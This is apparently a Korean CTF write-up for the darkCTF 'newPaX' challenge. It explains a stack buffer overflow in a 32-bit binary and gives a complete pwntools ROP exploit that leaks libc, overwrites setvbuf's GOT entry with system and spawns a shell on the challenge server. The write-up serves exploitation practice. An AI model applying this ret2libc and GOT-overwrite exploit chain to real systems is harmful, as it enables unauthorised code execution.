[darkCTF] newPaX

요약

---

• 취약점 : read 함수에서 발생하는 stack bof

1. 문제

---

1) mitigation 확인

32비트 바이너리이다. 카나리와 pie가 안걸려있다.

2) 문제 확인

바로 입력을 받고 끝난다.

3) 코드흐름 파악

int __cdecl main(int argc, const char **argv, const char **envp)
{
  nvm_init();
  nvm_timeout();
  vuln();
  return 0;
}

int nvm_init()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  return setvbuf(stderr, 0, 2, 0);
}

ssize_t vuln()
{
  char buf; // [esp+8h] [ebp-30h]

  return read(0, &buf, 0xC8u);
}

메인에서 타임아웃 세팅을 하고 vuln() 함수를 호출한다. vuln에서는 read로 buf에 입력을 받는데, buf 사이즈를 넘어서 입력을 받으므로 bof가 발생한다.

2. 접근방법

---

rop를 진행하면 된다. printf 함수 plt가 존재하기 때문에, setbuf got를 인자로 하여 printf 를 호출해 leak을 진행했다. 처음엔 libc 주소를 leak하고, system('/bin/sh')가 호출되게 했는데, 서버가 반응이 느린건지 뭔가 자꾸 에러가 터졌다.

두번째 시도로는, nvm_init() 함수에서 setvbuf가 존재하므로, setvbuf의 got를 시스템 함수로 덮고, stdout에 '/bin/sh'를 넣었다. 근데 이것도 안돼서 분석해보니

.text:080485C0 ; __unwind {
.text:080485C0                 push    ebp
.text:080485C1                 mov     ebp, esp
.text:080485C3                 push    ebx
.text:080485C4                 sub     esp, 4
.text:080485C7                 call    __x86_get_pc_thunk_bx
.text:080485CC                 add     ebx, 1A34h
.text:080485D2                 mov     eax, ds:(stdout_ptr - 804A000h)[ebx]
.text:080485D8                 mov     eax, [eax]
.text:080485DA                 push    0               ; n
.text:080485DC                 push    2               ; modes
.text:080485DE                 push    0               ; buf
.text:080485E0                 push    eax             ; stream
.text:080485E1                 call    _setvbuf

stdout를 bin_sh로 덮어도, 저 함수에서 stdout,stdin,stderr 를 찾는다는걸 확인했다.

따라서 마지막으로 setvbuf_got를 시스템 주소로 덮고, bss영역에다가 'bin_sh'를 넣었다. 그다음 libc 안에 있는 가젯중 pop eax, ret;를 호출한뒤, eax에 bin_sh가 들어있는 bss 주소를 넣고, 위 빨간색 영역으로 가게끔 했다.

그럼 push eax를 통해 bin_sh 주소를 인자로하여 setvbuf가 호출되고, 결국 시스템 함수가 호출된다.

3. 풀이

---

from pwn import *
context(log_level='DEBUG')
#p=process('./newPaX',env={'LD_PRELOAD':'./libc6-i386_2.27-3ubuntu1.2_amd64.so'})
p=remote('pwn.darkarmy.xyz',5001)
#gdb.attach(p)
pause()
print_plt=0x8048400
setvbuf_got=0x804a024
setvbuf_plt=0x8048450
read_plt=0x80483f0
read_got=0x804a00c
pr=0x080483d1
pppr=0x08048729

main_=0x08048656
stdout=0x001d5ea0

#leak
pay="A"*0x34
pay+=p32(print_plt)
pay+=p32(pr)
pay+=p32(setvbuf_got)
pay+=p32(main_)
pause()

#for bin_sh
ff=0x0804A028

p.sendline(pay)
leak=u32(p.recv(4))
log.info(hex(leak))
libc_base=leak-0x067b30
log.info('libcbase::'+hex(libc_base))
libc_stdout=libc_base+stdout
system_=libc_base+0x03cd80
lic_pr=0x00024a97
log.info('stdout::'+hex(libc_stdout))

sleep(6)

libc_pppr=libc_base+0x0002e119

# setvbuf_got overwrite
pay="A"*0x34
pay+=p32(read_plt)
pay+=p32(pppr)
pay+=p32(0)
pay+=p32(setvbuf_got)
pay+=p32(8)
pay+=p32(main_)
sleep(4)
pause()
p.sendline(pay)
pause()

p.sendline(p32(system_))

# setting bin_sh -> for push eax
pay="A"*0x34
pay+=p32(read_plt)
pay+=p32(pppr)
pay+=p32(0)
pay+=p32(ff)
pay+=p32(8)
pay+=p32(libc_base+lic_pr)
pay+=p32(ff)
pay+=p32(0x080485E0)

p.sendline(pay)
sleep(1)

pause()
p.sendline('/bin/sh\x00')

# go to push eax in nvm_init()
pay="A"*0x34
pay+=p32(0x080485D2)

p.sendline(pay)


p.interactive()

4. 몰랐던 개념

---

모르는 개념은 없었는데 서버 반응이 느려서 그런지 아닌지 모르겠지만 삽질을 꽤 했..

Uploaded by Notion2Tistory v1.0.0